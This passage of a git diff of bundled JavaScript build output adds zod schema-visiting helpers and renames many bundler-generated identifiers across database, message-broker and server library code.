"function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -69256,9 +74457,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -69712,8 +74910,8 @@ var eventEnvelopeSchema = external_exports.object({ trace: traceContextSchema, payload: external_exports.unknown() }); -function parseEvent(input) { - const envelope = eventEnvelopeSchema.parse(input); +function parseEvent(input2) { + const envelope = eventEnvelopeSchema.parse(input2); const payloadSchema = payloads[envelope.event_type]; const payload = payloadSchema.parse(envelope.payload); return { ...envelope, payload }; @@ -70182,7 +75380,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -70191,29 +75389,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -70721,10 +75919,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -70735,8 +75933,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -70751,9 +75949,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -70832,7 +76030,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -70898,10 +76096,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -70933,7 +76131,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -70956,7 +76154,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -71270,9 +76468,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -71305,9 +76503,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71336,9 +76534,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71420,15 +76618,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -71540,10 +76738,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -71768,7 +76966,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -71881,7 +77079,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -71909,8 +77107,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -71954,7 +77152,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -71968,8 +77166,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -72014,7 +77212,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -72815,8 +78013,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -73540,16 +78738,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -75264,19 +80462,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -75811,13 +81009,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -79827,8 +85025,8 @@ var MemoryBroker = class { try { await registration.options.handler(envelope, context2); return; - } catch (error51) { - lastError = error51; + } catch (error62) { + lastError = error62; if (attempt < maxRetries) { await this.sleep(backoffDelayMs(attempt)); } @@ -79893,13 +85091,13 @@ function inList(values2) { sql`, ` ); } -function sanitizeError(error51) { +function sanitizeError(error62) { let described; - if (error51 instanceof Error) { - const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + if (error62 instanceof Error) { + const inner = error62.message.startsWith("Failed query") && error62.cause instanceof Error ? error62.cause : error62; described = `${inner.name}: ${inner.message}`; } else { - described = String(error51); + described = String(error62); } return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); } @@ -80200,12 +85398,12 @@ var PostgresBroker = class { }, payload: claimed.payload }); - } catch (error51) { + } catch (error62) { this.logger.error( { consumer: claimed.consumer, event_id: claimed.event_id }, "dead-lettering unparseable outbox event" ); - return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error62)}`); } if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { return this.bury( @@ -80218,14 +85416,14 @@ var PostgresBroker = class { if (await this.alreadyProcessed(claimed)) { return await this.complete(claimed); } - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; try { await registration.handler(envelope, context2); - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } return this.complete(claimed); } @@ -80258,17 +85456,17 @@ var PostgresBroker = class { ); } return "processed"; - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a successful delivery" ); return "failed"; } } - async retryOrBury(registration, claimed, envelope, error51) { + async retryOrBury(registration, claimed, envelope, error62) { const retry = claimed.attempts - 1; - const description = sanitizeError(error51); + const description = sanitizeError(error62); if (retry < this.maxRetriesFor(registration)) { return this.settle(claimed, "failed", description, this.backoffMs(retry)); } @@ -80306,9 +85504,9 @@ var PostgresBroker = class { nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, updatedAt: sql`now()` }).where(this.fence(claimed)); - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a failed delivery" ); } @@ -80360,9 +85558,9 @@ var RabbitMqBroker = class { async ensureChannel() { if (this.channel !== null) return this.channel; const connection2 = await import_amqplib.default.connect(this.options.url); - connection2.on("error", (error51) => { + connection2.on("error", (error62) => { this.healthy = false; - this.options.logger.error({ err: error51 }, "rabbitmq connection error"); + this.options.logger.error({ err: error62 }, "rabbitmq connection error"); }); connection2.on("close", () => { this.healthy = false; @@ -80434,9 +85632,9 @@ var RabbitMqBroker = class { let envelope; try { envelope = parseEvent(JSON.parse(message2.content.toString("utf8"))); - } catch (error51) { + } catch (error62) { this.options.logger.error( - { err: error51, consumer: options.consumer }, + { err: error62, consumer: options.consumer }, "discarding unparseable message" ); channel.nack(message2, false, false); @@ -80446,8 +85644,8 @@ var RabbitMqBroker = class { try { await options.handler(envelope, context2); channel.ack(message2); - } catch (error51) { - const errorMessage = error51 instanceof Error ? error51.message : String(error51); + } catch (error62) { + const errorMessage = error62 instanceof Error ? error62.message : String(error62); if (attempt >= maxRetries) { this.options.logger.error( { consumer: options.consumer, event_id: envelope.event_id, attempts: attempt + 1 }, @@ -80658,8 +85856,8 @@ async function findById(db2, jobId) { const [row] = await db2.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); return row ?? null; } -async function insert(db2, input) { - const [row] = await db2.insert(schema_exports.jobs).values(input).returning(); +async function insert(db2, input2) { + const [row] = await db2.insert(schema_exports.jobs).values(input2).returning(); if (!row) throw new Error("insert: job insert returned no row"); return row; } @@ -81064,35 +86262,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("jobs-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/api/learning/index.js b/api/learning/index.js index c34519a..db02bf2 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -4552,16 +4552,16 @@ var require_querystringify = __commonJS({ "use strict"; var has = Object.prototype.hasOwnProperty; var undef; - function decode4(input) { + function decode4(input2) { try { - return decodeURIComponent(input.replace(/\+/g, " ")); + return decodeURIComponent(input2.replace(/\+/g, " ")); } catch (e) { return null; } } - function encode4(input) { + function encode4(input2) { try { - return encodeURIComponent(input); + return encodeURIComponent(input2); } catch (e) { return null; } @@ -10898,8 +10898,8 @@ var require_connection = __commonJS({ var s = stackCapture("closeBecause called: " + reason); this.toClosing(s, k); } - closeWithError(reason, code, error51) { - this.emit("error", error51); + closeWithError(reason, code, error62) { + this.emit("error", error62); this.closeBecause(reason, code); } onSocketError(err) { @@ -11207,8 +11207,8 @@ var require_connection = __commonJS({ return ws; } } - function isFatalError(error51) { - switch (error51 && error51.code) { + function isFatalError(error62) { + switch (error62 && error62.code) { case defs.constants.CONNECTION_FORCED: case defs.constants.REPLY_SUCCESS: return false; @@ -11629,15 +11629,15 @@ var require_channel = __commonJS({ // If we close because there's been an error, we need to distinguish // between what we tell the server (`reason`) and what we report as // the cause in the client (`error`). - closeWithError(id, reason, code, error51) { + closeWithError(id, reason, code, error62) { var self2 = this; this.closeBecause(reason, code, function() { - error51.code = code; + error62.code = code; if (id) { - error51.classId = defs.info(id).classId; - error51.methodId = defs.info(id).methodId; + error62.classId = defs.info(id).classId; + error62.methodId = defs.info(id).methodId; } - self2.emit("error", error51); + self2.emit("error", error62); }); } // A trampolining state machine for message frames on a channel. A @@ -11728,11 +11728,11 @@ var require_channel = __commonJS({ } var emsg = "Channel closed by server: " + closeMsg(f); this.sendImmediately(defs.ChannelCloseOk, {}); - var error51 = new Error(emsg); - error51.code = f.fields.replyCode; - error51.classId = f.fields.classId; - error51.methodId = f.fields.methodId; - this.emit("error", error51); + var error62 = new Error(emsg); + error62.code = f.fields.replyCode; + error62.classId = f.fields.classId; + error62.methodId = f.fields.methodId; + this.emit("error", error62); var s = stackCapture(emsg); this.toClosed(s); return; @@ -13402,9 +13402,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -13820,8 +13820,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -13908,12 +13908,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -14629,21 +14629,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -14659,7 +14659,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -14706,11 +14706,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -14724,7 +14724,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -15695,29 +15695,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -15728,36 +15728,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -16428,7 +16428,7 @@ var require_queue = __commonJS({ empty: noop3, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -16571,7 +16571,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -16839,23 +16839,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -16930,11 +16930,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -16957,12 +16957,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i 